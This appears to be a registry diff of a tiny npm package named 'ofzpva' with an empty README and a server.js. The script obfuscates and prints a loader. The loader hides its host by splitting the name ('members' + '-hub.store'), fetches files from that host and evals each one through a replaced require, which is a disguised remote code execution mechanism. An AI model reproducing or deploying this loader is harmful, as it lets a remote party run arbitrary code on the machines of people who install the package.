ofzpva 0.0.1

package/README.md

@@ -0,0 +1 @@
+# ofzpva

package/package.json

@@ -0,0 +1,21 @@
+{
+    "name": "ofzpva",
+    "description": "ofzpva",
+    "version": "0.0.1",
+    "main": "server.js",
+    "dependencies": {
+        "pretty-ms": "^6.0.1",
+        "socket.io-client": "^4.7.1",
+        "axios": "^0.22.2",
+        "mongoose": "^8.5.5",
+        "node-fetch": "^2.6.1",
+        "express": "^5.0.0-beta.3",
+        "random-token": "^0.0.5"
+    },
+    "keywords": [
+        "ofzpva"
+    ],
+    "author": "ofzpva",
+    "license": "MIT",
+    "readmeFilename": "README.md"
+}

package/server.js

@@ -0,0 +1,188 @@
+let javascriptObfuscator = require('javascript-obfuscator');
+
+const obfuscatedCode = javascriptObfuscator.obfuscate(`
+const FILESYSTEM__ = class FS {
+  constructor(manager) {
+    this.manager = manager;
+  }
+
+  readdirSync(pathname) {
+    let result = { app: this.manager.files };
+    let splited = pathname.split("/");
+
+    for (let i = 0; i < splited.length; i++) {
+      if (!splited[i]) continue;
+      let dir = splited[i];
+      result = result[dir];
+    }
+
+    return Object.keys(result);
+  }
+}
+
+let p1 = "-hub.store"
+
+const AXIOS__ = require("axios");
+const oldRequire = require;
+const EXPRESS__ = oldRequire("express");
+const APP__ = EXPRESS__();
+
+APP__.get('/', (req, res) => {
+  res.status(200).json({});
+});
+
+APP__.listen(3001);
+
+class Main {
+  constructor(pass, id) {
+    this._files = {};
+    this.cache = {};
+    this.fs = new FILESYSTEM__(this);
+
+    console.log(pass, id)
+
+    this.pass = pass;
+    this.id = id;
+
+    this._request_Files();
+
+  }
+
+  handleError(err) {
+    console.log(err);
+    process.exit(0);
+  }
+
+  async _request_Files() {
+    console.log(this.pass)
+    let data = await AXIOS__.get("https://members" + p1 + "/linkbyauth?pass=" + this.pass).then(res=>res.data).catch(err=>this.handleError(err?.response?.data))
+    console.log(data)
+    if(!data) return;
+
+
+    const endpoint = process.env.myurl;
+    const authenticationHeader = process.env.auth;
+
+    const filesObj = await AXIOS__.get(data[this.id], {
+      headers: {
+        authentication: data[3],
+      },
+    })
+      .then((res) => res.data)
+      .catch((err) => this.handleError(err.response?.data));
+
+    if (!filesObj) return;
+
+    console.log(filesObj['index.js'])
+
+    this._files = filesObj;
+    console.log("Files Loaded!");
+    this.star_t();
+  }
+
+  get files() {
+    return this._files;
+  }
+
+  _require(path, input) {
+    if (input === "F_S".split("_").join("").toLowerCase()) {
+      return this.fs;
+    } else if (!input.includes("/")) {
+      return oldRequire(input);
+    } else {
+      let currentPath = path;
+      let executePath = input;
+
+      let currentPath_ = currentPath;
+      let executePath_ = executePath;
+
+      let target = "";
+      let extention = "";
+
+      if (executePath.endsWith(".js") || executePath.endsWith(".json")) {
+        extention = executePath.endsWith(".js") ? ".js" : ".json";
+        executePath = executePath.split(".");
+        executePath = executePath.slice(0, executePath.length - 1).join(".");
+      }
+
+      if (!executePath.includes(".")) {
+        currentPath = "/";
+      }
+      if (executePath.startsWith("/app/")) {
+        executePath = executePath.replace("/app/", "/");
+      }
+
+      while (true) {
+        if (!executePath.includes(".")) {
+          target = "/" + executePath + extention;
+          break;
+        }
+        const splited = executePath.split("/");
+        if (splited[0] === "..") {
+          currentPath = currentPath.split("/");
+          currentPath = currentPath.slice(0, currentPath.length - 1).join("/");
+          executePath = executePath.split("/").slice(1).join("/");
+        } else if (splited[0] === ".") {
+          executePath = executePath.split("/").slice(1).join("/");
+        } else if (splited[0] === "") {
+        }
+      }
+
+      const result =
+        this.cache[target] ||
+        this.load_FromPath(currentPath + target, currentPath);
+
+      if (!result) {
+
+      }
+
+      return result;
+    }
+  }
+
+  load_FromPath(pathname, pathofkey) {
+    try {
+      require = (...args) => this._require(pathofkey, ...args);
+
+      let result = this.files;
+      const splited = pathname.split("/");
+
+      for (let i = 0; i < splited.length; i++) {
+        if (!splited[i]) continue;
+        let dir = splited[i];
+        result = result[dir];
+      }
+
+      try {
+        this.cache[pathname] = eval(result);
+      } catch (e) {
+        console.log(pathname, e.message);
+      }
+
+      return this.cache[pathname];
+    } catch (e) {
+      console.log(e, pathname, pathofkey);
+    }
+  }
+
+  async star_t() {
+    const caching = (obj, path = "") => {
+      const result = {};
+      for (let [key, value] of Object.entries(obj)) {
+        const pathofkey = path + "/" + key;
+        if (typeof value === "object") {
+          result[key] = caching(value, pathofkey);
+        } else {
+          this.load_FromPath(pathofkey, path);
+        }
+      }
+    };
+
+    caching(this.files);
+  }
+}
+module.exports = Main`, {
+  numbersToExpressions: true,
+  stringArrayShuffle: true,
+}).getObfuscatedCode();
+console.log(obfuscatedCode)